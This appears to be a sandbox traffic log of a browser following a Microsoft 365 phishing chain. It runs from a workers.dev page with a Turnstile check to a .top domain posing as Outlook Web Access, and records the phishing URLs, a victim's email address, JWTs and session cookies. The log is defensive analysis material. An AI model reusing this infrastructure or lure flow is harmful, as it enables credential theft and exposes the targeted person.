2024-04-25 18:36:52 UTC	16384	OUT	Data Raw: 76 5f 38 37 61 30 37 30 36 39 33 39 33 62 35 33 62 37 3d 32 61 30 75 2d 66 78 63 24 73 67 55 30 66 6f 61 65 44 39 35 77 70 47 77 39 73 47 43 47 64 73 75 66 67 78 65 47 6d 47 55 61 66 69 47 53 47 6a 59 75 47 37 30 47 77 75 65 24 78 4a 47 4d 4c 70 74 59 67 78 4f 65 47 65 63 42 30 47 6a 67 30 47 76 75 66 44 47 30 75 30 4c 70 70 67 75 73 61 78 68 47 65 30 78 39 47 53 6a 48 30 4b 47 66 4d 36 42 63 55 7a 30 66 4a 71 47 45 42 67 78 4e 47 74 61 78 53 47 4f 67 78 55 73 73 47 47 35 77 47 32 24 75 47 39 67 59 77 75 39 42 47 66 61 47 51 42 30 47 36 36 71 6b 35 30 61 47 45 2d 51 74 77 6d 53 4d 4c 70 47 6b 35 39 65 6e 58 49 51 4c 59 36 57 55 54 24 65 78 47 78 48 4c 47 47 56 4a 24 72 47 7a 64 54 4c 61 59 2d 66 51 43 35 38 36 4e 68 67 5a 76 72 66 38 72 6b 5a 79 52 6b 77 Data Ascii: v_87a07069393b53b7=2a0u-fxc$sgU0foaeD95wpGw9sGCGdsufgxeGmGUafiGSGjYuG70Gwue$xJGMLptYgxOeGecB0Gjg0GvufDG0u0LppgusaxhGe0x9GSjH0KGfM6BcUz0fJqGEBgxNGtaxSGOgxUssGG5wG2$uG9gYwu9BGfaGQB0G66qk50aGE-QtwmSMLpGk59enXIQLY6WUT$exGxHLGGVJ$rGzdTLaY-fQC586NhgZvrf8rkZyRkw
2024-04-25 18:36:52 UTC	16365	OUT	Data Raw: 4d 43 59 58 47 39 4e 30 24 6e 75 66 46 62 54 62 76 24 6a 59 66 47 53 75 78 30 47 37 47 39 47 39 45 52 79 47 68 59 78 4c 78 76 47 6a 30 53 34 78 58 47 6b 30 51 66 47 65 47 68 75 53 67 78 34 47 4f 75 74 74 78 2d 74 6b 70 51 58 47 51 47 71 70 78 77 78 42 47 39 70 78 37 78 64 47 73 47 66 35 47 43 47 66 59 65 44 78 6d 47 72 47 30 69 78 79 76 52 6a 31 79 47 70 47 6c 47 51 51 6e 6c 75 4f 59 39 47 47 74 70 6b 75 71 75 70 4a 47 34 75 55 7a 6e 65 47 41 75 55 24 39 4a 47 56 46 50 6e 6e 65 47 5a 34 74 4f 58 55 47 78 67 66 30 47 77 24 46 4a 66 57 71 4d 70 46 48 47 47 47 41 53 68 78 74 66 54 4b 32 72 37 63 78 4d 70 68 7a 53 51 47 37 70 63 77 65 74 78 53 47 66 70 35 69 67 6a 61 68 70 35 58 66 6a 35 63 77 66 47 4d 4d 70 53 65 65 77 39 55 75 46 70 35 51 6e 36 47 2d 68 74 Data Ascii: MCYXG9N0$nufFbTbv$jYfGSux0G7G9G9ERyGhYxLxvGj0S4xXGk0QfGeGhuSgx4GOuttx-tkpQXGQGqpxwxBG9px7xdGsGf5GCGfYeDxmGrG0ixyvRj1yGpGlGQQnluOY9GGtpkuqupJG4uUzneGAuU$9JGVFPnneGZ4tOXUGxgf0Gw$FJfWqMpFHGGGAShxtfTK2r7cxMphzSQG7pcwetxSGfp5igjahp5Xfj5cwfGMMpSeew9UuFp5Qn6G-ht
2024-04-25 18:36:53 UTC	1246	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:36:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-out-s: 3AJMKXMVpPCoC74uAFXoNHuySke7/hJibDao28jfpEhGMVRnqD05jNw5OEg5lhcUmd1tYt9FK0CMSO8lq4oamVlu5vQF7SqwaKxdvvdtazW/tc7OXJBMa4h9bkgqwPpex3L2E1BxD3++f7Ss+Jb+G33zdBDPZhTPPJbzxT5SGjxCXt9/jIJAY9y8O/v1wylzrDIvqW9pRVVhUzWlXuQ38vjgIS1I6ONvmZVLDGcG3rGd2sl0BlMUeHMkr19TLqhwi1GZbp1BnR4uhVf03ov6LnxjzSWSEHGYWn2c+9G1+ZFz8/BwPM4o8cp6v+2WRrsQRpyNonCI4/ygJIeBkQkLdfB8k7MXSSHNMJqDMLBGKUIPavqKYFeEnXuGbwTew9A6VGiTPi3TP470Z2YbxH5qki04lCYgiGSWHZYmryWTrhlhDDOuB/6c4Kz+FoyDlWdhamZ/Fj1rVCVBQHD5CdTbT9TwNgfDnV0yt1qMXuh25fI2GzwNjmJf83IjYHyuysbE0dDEACL7wj25dDbA7SyFpzr+68oTeAJff5wkui5DhuZ/846yStwWAClMwzTrjDnz6y8y3d0ui/R0LdPgBnuR7TYUTuEJApvC/Dks9DUGR6P9OQAA0Qzi06LZAnCvHqybh2FBesFmKumfX6ldSwUgzoAsVwlJ1SKlMB3h2McZO6Pn+1qvZmd8mKG99qCVZUm1CWVCM7BFOCz6sSwFoybV8ckbVdR4N4PT5Oq2/p8q4nlajw7fQnWlDTrIj2tMjzzGIce6Mvg4Lo42j7FXaSXtGQ==$3dzMZXgeDcRIuIKk0dmCxg== cf-chl-out: bBBcPmvkJCqf+A62i0H2KnJrOgxUmQII45ToAbmlYGF9EeoJClNluAjYRSUZV5wPvnVMqhpYO+2puC0hYO9GtwTEkiLqtq3672mjtFQFejvrWpFcvLPndDbcLUrH3n/T$ziM0f3KjN1mvTxjk0xcCnA== vary: accept-encoding Server: cloudflare CF-RAY: 87a070ee99544569-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 18:36:53 UTC	123	IN	Data Raw: 31 63 36 0d 0a 57 47 4a 37 61 6c 35 6d 6a 6d 4e 61 6b 55 74 68 54 47 4b 59 6c 6e 56 37 6a 4a 53 53 6c 34 78 2f 6c 6d 43 42 6c 35 79 59 59 47 57 72 61 5a 56 34 70 58 79 6e 6a 61 43 65 62 5a 36 56 68 36 69 45 6d 59 75 73 6c 71 2b 63 77 4a 57 75 6f 71 4a 38 77 35 43 41 71 4d 65 4b 6d 71 7a 44 6a 71 4f 66 76 61 4b 73 6b 38 76 43 6b 35 43 32 7a 62 6d 70 74 39 43 38 34 62 Data Ascii: 1c6WGJ7al5mjmNakUthTGKYlnV7jJSSl4x/lmCBl5yYYGWraZV4pXynjaCebZ6Vh6iEmYuslq+cwJWuoqJ8w5CAqMeKmqzDjqOfvaKsk8vCk5C2zbmpt9C84b
2024-04-25 18:36:53 UTC	338	IN	Data Raw: 76 51 76 4b 44 62 30 74 71 68 78 62 69 31 75 38 69 6c 79 4b 76 6e 33 75 4b 77 30 63 4c 59 73 39 54 48 35 62 54 55 39 72 72 72 32 4d 2f 6b 76 64 50 6b 32 64 2f 6a 2f 51 76 47 34 2f 7a 6f 7a 51 6a 2b 44 39 48 78 34 67 66 52 37 51 37 38 32 50 54 72 47 4f 33 37 49 41 49 6c 2f 52 66 79 45 2f 6a 36 2b 53 6b 4d 42 77 73 62 48 79 77 43 43 65 30 31 43 69 6b 4c 4e 69 59 66 44 30 41 5a 49 45 41 78 4d 42 77 67 4f 67 68 4c 49 54 34 6b 50 68 67 39 49 56 4a 43 51 6a 49 30 49 78 52 47 4f 56 56 46 4b 6a 42 59 53 44 51 77 48 44 34 38 57 31 4d 77 4b 54 4a 69 53 79 51 75 52 30 42 51 54 45 74 6d 64 6d 64 56 63 58 68 57 4f 48 4e 38 4e 6a 74 66 55 54 52 50 57 6c 5a 55 55 49 42 6e 66 46 64 4b 52 30 68 6f 52 32 5a 6b 5a 4a 52 51 55 30 39 78 68 6c 61 4d 57 6f 65 52 65 70 68 59 61 Data Ascii: vQvKDb0tqhxbi1u8ilyKvn3uKw0cLYs9TH5bTU9rrr2M/kvdPk2d/j/QvG4/zozQj+D9Hx4gfR7Q782PTrGO37IAIl/RfyE/j6+SkMBwsbHywCCe01CikLNiYfD0AZIEAxMBwgOghLIT4kPhg9IVJCQjI0IxRGOVVFKjBYSDQwHD48W1MwKTJiSyQuR0BQTEtmdmdVcXhWOHN8NjtfUTRPWlZUUIBnfFdKR0hoR2ZkZJRQU09xhlaMWoeRephYa
2024-04-25 18:36:53 UTC	1369	IN	Data Raw: 63 33 36 0d 0a 36 72 32 4b 48 57 76 74 76 51 70 39 37 69 31 4d 66 49 75 63 57 6d 7a 4e 2f 6c 30 4d 33 50 31 39 44 75 7a 63 6e 49 74 73 72 35 36 50 4c 69 38 74 7a 33 2b 66 63 44 38 64 6f 4c 35 73 76 71 37 4e 76 4d 2f 76 45 4f 2f 64 33 6a 34 42 48 73 36 4e 54 32 38 64 59 5a 32 76 4c 35 33 68 67 41 47 66 54 37 34 50 7a 39 39 75 51 70 2f 43 45 4f 4a 41 63 50 4c 42 59 4a 4e 66 51 78 45 42 63 30 4f 68 4d 62 49 6a 77 56 44 79 34 6e 52 55 52 42 52 68 38 6d 48 44 73 36 49 53 51 65 55 30 45 2f 53 56 4a 4b 45 79 4e 55 4d 43 78 61 59 46 68 57 59 31 38 34 4f 46 70 66 4f 31 4a 49 49 32 56 4d 50 43 39 4c 4a 44 31 4f 4e 55 56 32 57 47 73 35 65 48 78 72 4f 57 35 55 53 30 35 6a 57 49 45 34 68 32 4a 2f 61 49 74 2f 53 57 52 2b 68 47 56 67 68 34 32 4d 64 4a 47 4f 67 57 71 55 Data Ascii: c366r2KHWvtvQp97i1MfIucWmzN/l0M3P19DuzcnItsr56PLi8tz3+fcD8doL5svq7NvM/vEO/d3j4BHs6NT28dYZ2vL53hgAGfT74Pz99uQp/CEOJAcPLBYJNfQxEBc0OhMbIjwVDy4nRURBRh8mHDs6ISQeU0E/SVJKEyNUMCxaYFhWY184OFpfO1JII2VMPC9LJD1ONUV2WGs5eHxrOW5US05jWIE4h2J/aIt/SWR+hGVgh42MdJGOgWqU
2024-04-25 18:36:53 UTC	1369	IN	Data Raw: 79 7a 7a 4e 7a 52 73 72 44 46 75 4b 75 33 78 71 36 39 78 63 58 76 30 38 44 4a 77 71 37 47 7a 2b 75 36 7a 74 4c 79 7a 39 50 30 77 66 58 61 32 66 6e 6c 33 4f 6e 53 2b 63 63 45 79 65 37 6a 35 75 54 79 35 2b 37 6f 39 75 76 32 37 50 72 76 2f 76 44 2b 39 66 44 72 44 2f 6e 34 41 4e 6e 6b 49 79 72 71 46 68 6b 76 36 69 4d 54 46 43 72 78 44 68 49 31 4a 69 55 52 46 53 2f 38 51 42 59 7a 47 54 50 37 46 43 34 61 2b 52 67 42 4b 55 54 2b 42 53 68 46 52 68 74 51 54 69 46 4f 4b 6b 78 44 57 68 70 64 52 31 6c 59 53 52 38 77 51 7a 59 64 4e 31 34 6a 4f 7a 30 34 4a 55 64 43 4a 32 70 51 50 30 31 50 64 6b 46 4a 51 6e 70 44 56 56 68 49 50 58 77 39 67 59 42 7a 66 46 4e 4f 58 55 52 6f 57 6a 31 59 59 31 39 64 57 59 6c 77 68 57 42 54 55 46 46 71 6a 47 71 57 61 56 52 36 6e 31 74 36 6a Data Ascii: yzzNzRsrDFuKu3xq69xcXv08DJwq7Gz+u6ztLyz9P0wfXa2fnl3OnS+ccEye7j5uTy5+7o9uv27Prv/vD+9fDrD/n4ANnkIyrqFhkv6iMTFCrxDhI1JiURFS/8QBYzGTP7FC4a+RgBKUT+BShFRhtQTiFOKkxDWhpdR1lYSR8wQzYdN14jOz04JUdCJ2pQP01PdkFJQnpDVVhIPXw9gYBzfFNOXURoWj1YY19dWYlwhWBTUFFqjGqWaVR6n1t6j
2024-04-25 18:36:53 UTC	395	IN	Data Raw: 46 70 38 53 32 35 38 71 2f 34 64 2b 75 78 50 44 7a 30 62 58 53 72 39 71 35 30 72 76 35 7a 75 33 51 39 64 47 36 7a 66 48 46 39 64 6e 30 32 77 72 67 43 39 37 70 45 77 66 52 36 74 51 43 30 77 67 55 43 65 72 79 31 78 72 62 48 64 67 52 38 68 48 62 4a 76 55 70 38 52 72 37 4b 65 63 69 37 69 41 77 48 51 4d 50 43 54 66 31 4a 54 73 75 44 44 6e 37 4f 50 34 75 45 55 4d 43 48 42 56 48 42 44 59 64 52 67 74 4b 47 55 6f 50 49 30 30 73 4e 56 45 70 4c 69 73 59 55 44 45 71 58 44 35 48 4e 54 73 31 59 46 35 58 58 6a 42 4a 58 52 78 57 56 57 45 75 61 31 6f 2f 54 32 78 56 55 33 4a 68 59 6c 64 32 5a 57 56 39 65 56 68 6f 66 45 4a 73 63 47 31 51 58 6c 78 64 67 47 56 45 56 34 78 2b 69 49 52 4e 5a 31 31 74 66 30 35 74 61 70 4a 6b 5a 33 4a 72 62 31 4a 64 6d 36 4a 6a 6a 70 47 6e 59 35 Data Ascii: Fp8S258q/4d+uxPDz0bXSr9q50rv5zu3Q9dG6zfHF9dn02wrgC97pEwfR6tQC0wgUCery1xrbHdgR8hHbJvUp8Rr7Keci7iAwHQMPCTf1JTsuDDn7OP4uEUMCHBVHBDYdRgtKGUoPI00sNVEpLisYUDEqXD5HNTs1YF5XXjBJXRxWVWEua1o/T2xVU3JhYld2ZWV9eVhofEJscG1QXlxdgGVEV4x+iIRNZ11tf05tapJkZ3Jrb1Jdm6JjjpGnY5
2024-04-25 18:36:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49746	172.67.154.14	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:53 UTC	970	OUT	POST /?qrc=sheue@7haircare.com& HTTP/1.1 Host: e76abede.df1076c6f7230d3c23de9bcb.workers.dev Connection: keep-alive Content-Length: 603 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/?qrc=sheue@7haircare.com& Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 18:36:53 UTC	603	OUT	Data Raw: 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 3d 30 2e 6c 33 6a 62 4a 54 4e 62 4e 2d 43 52 32 74 76 79 38 37 56 6b 58 5a 79 70 75 6b 76 6c 71 61 58 6e 5f 59 30 71 6f 49 41 44 54 36 57 50 74 75 53 53 76 31 48 64 6f 41 67 62 37 4a 77 34 2d 31 69 4a 32 61 43 57 54 6d 32 36 66 43 56 30 77 5a 59 41 5a 56 52 4f 30 4c 70 36 33 37 4c 6e 45 32 34 55 57 6c 32 6d 76 51 57 51 6e 66 55 74 41 55 69 73 46 67 6b 37 72 78 2d 4f 47 37 4d 33 64 61 59 41 71 6f 65 41 34 4c 30 2d 63 38 69 69 52 77 36 72 6a 71 4f 51 43 30 6c 50 6f 42 6d 78 44 71 72 69 71 47 50 49 6e 68 32 34 66 52 75 31 71 69 30 39 34 69 51 62 5f 48 48 30 6a 2d 78 38 6d 6e 76 61 62 62 78 38 4b 45 4c 6d 2d 63 7a 38 51 57 30 57 58 78 47 72 57 67 31 49 71 33 74 34 6e 36 32 45 74 4d 35 49 67 51 34 Data Ascii: cf-turnstile-response=0.l3jbJTNbN-CR2tvy87VkXZypukvlqaXn_Y0qoIADT6WPtuSSv1HdoAgb7Jw4-1iJ2aCWTm26fCV0wZYAZVRO0Lp637LnE24UWl2mvQWQnfUtAUisFgk7rx-OG7M3daYAqoeA4L0-c8iiRw6rjqOQC0lPoBmxDqriqGPInh24fRu1qi094iQb_HH0j-x8mnvabbx8KELm-cz8QW0WXxGrWg1Iq3t4n62EtM5IgQ4
2024-04-25 18:36:54 UTC	589	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:36:54 GMT Content-Type: text/html; Content-Length: 1289 Connection: close status: 200 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tTpry1JUVZ2tD%2Beufxfe7xrsuwDV7C7awyHYc7ZZQA86VVfg6sAtK3w%2BQrxnrUoy5g4XfUApS3a7Lm%2FXubRpela5fSVXLViaB%2FW81o%2BlJ9HIuiYhPrDreoO2pcN%2F3RtKBk8QEOx6jadISs4wTy4guV8hSNRXtNEd0hhW%2FaBqWAA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a070f1fc981359-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 18:36:54 UTC	780	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 2d 73 72 63 20 2a 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 66 69 6c 65 73 79 73 74 65 6d 3a 20 61 62 6f 75 74 3a 20 77 73 3a 20 77 73 73 3a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 20 73 63 72 69 70 74 2d 73 72 63 20 2a 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 2a 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 75 6e 73 61 66 65 2d 69 Data Ascii: <!doctype html><html><head><meta http-equiv="Content-Security-Policy" content="default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-i
2024-04-25 18:36:54 UTC	509	IN	Data Raw: 4f 69 4a 6f 64 48 52 77 63 7a 6f 76 4c 33 59 74 5a 6d 4a 6f 65 57 78 6a 64 47 34 32 5a 33 5a 6a 64 32 39 75 59 33 52 75 4e 6d 64 32 59 79 31 33 61 47 6c 69 5a 58 4e 70 62 47 63 79 59 6d 31 79 62 48 4d 35 59 32 46 7a 63 32 6c 6c 4c 6e 52 76 63 43 49 73 49 6d 52 76 62 57 46 70 62 69 49 36 49 6e 59 74 5a 6d 4a 6f 65 57 78 6a 64 47 34 32 5a 33 5a 6a 64 32 39 75 59 33 52 75 4e 6d 64 32 59 79 31 33 61 47 6c 69 5a 58 4e 70 62 47 63 79 59 6d 31 79 62 48 4d 35 59 32 46 7a 63 32 6c 6c 4c 6e 52 76 63 43 49 73 49 6d 74 6c 65 53 49 36 49 6b 64 33 57 6d 78 36 64 6a 4e 71 55 47 4a 5a 56 69 49 73 49 6e 46 79 59 79 49 36 49 6e 4e 6f 5a 58 56 6c 51 44 64 6f 59 57 6c 79 59 32 46 79 5a 53 35 6a 62 32 30 69 4c 43 4a 70 59 58 51 69 4f 6a 45 33 4d 54 51 77 4e 7a 41 79 4d 54 4d Data Ascii: OiJodHRwczovL3YtZmJoeWxjdG42Z3Zjd29uY3RuNmd2Yy13aGliZXNpbGcyYm1ybHM5Y2Fzc2llLnRvcCIsImRvbWFpbiI6InYtZmJoeWxjdG42Z3Zjd29uY3RuNmd2Yy13aGliZXNpbGcyYm1ybHM5Y2Fzc2llLnRvcCIsImtleSI6Ikd3Wmx6djNqUGJZViIsInFyYyI6InNoZXVlQDdoYWlyY2FyZS5jb20iLCJpYXQiOjE3MTQwNzAyMTM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	49748	104.17.3.184	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:53 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1935405516:1714065931:t7UA0pVTL6V2Jf48bQbvuNIHTwJO0HvkWjeoYHQTOqc/87a07069393b53b7/b3f22530d2b9a73 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 18:36:53 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Thu, 25 Apr 2024 18:36:53 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: WlubdMYp9KRgamMQ3kJc2g==$qRnytTibcaPRNX5xLN5eig== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 87a070f2f9e712d6-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 18:36:53 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	49749	138.124.184.68	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:54 UTC	1120	OUT	GET /?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL3YtZmJoeWxjdG42Z3Zjd29uY3RuNmd2Yy13aGliZXNpbGcyYm1ybHM5Y2Fzc2llLnRvcCIsImRvbWFpbiI6InYtZmJoeWxjdG42Z3Zjd29uY3RuNmd2Yy13aGliZXNpbGcyYm1ybHM5Y2Fzc2llLnRvcCIsImtleSI6Ikd3Wmx6djNqUGJZViIsInFyYyI6InNoZXVlQDdoYWlyY2FyZS5jb20iLCJpYXQiOjE3MTQwNzAyMTMsImV4cCI6MTcxNDA3MDMzM30.KjLJF5iiSFKdw41uUQwdDBQjolY0kxSFZb7HDP4uVI8 HTTP/1.1 Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 18:36:55 UTC	308	IN	HTTP/1.1 302 Found Set-Cookie: qPdM=GwZlzv3jPbYV; path=/; samesite=none; secure; httponly Set-Cookie: qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; path=/; samesite=none; secure; httponly location: /?qrc=sheue%407haircare.com Date: Thu, 25 Apr 2024 18:36:54 GMT Connection: close Transfer-Encoding: chunked
2024-04-25 18:36:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	49750	138.124.184.68	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:55 UTC	834	OUT	GET /?qrc=sheue%407haircare.com HTTP/1.1 Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0
2024-04-25 18:36:55 UTC	1228	IN	HTTP/1.1 302 Moved Temporarily Cache-Control: no-cache Pragma: no-cache Location: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/owa/?login_hint=sheue%407haircare.com Server: Microsoft-IIS/10.0 request-id: c504981b-369e-6111-4ccd-0c173ced7d14 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-FEServer: BLAPR03CA0053, BLAPR03CA0053 X-RequestId: 6756935c-4051-4d3e-b885-459cd287056b X-FEProxyInfo: BLAPR03CA0053.NAMPRD03.PROD.OUTLOOK.COM X-FEEFZInfo: MNZ MS-CV: G5gExZ42EWFMzQwXPO19FA.0 X-Powered-By: ASP.NET Date: Thu, 25 Apr 2024 18:36:54 GMT Connection: close Content-Length: 0 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	49751	138.124.184.68	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:55 UTC	845	OUT	GET /owa/?login_hint=sheue%407haircare.com HTTP/1.1 Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0
2024-04-25 18:36:56 UTC	7687	IN	HTTP/1.1 302 Found content-length: 1435 Content-Type: text/html; charset=utf-8 Location: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUx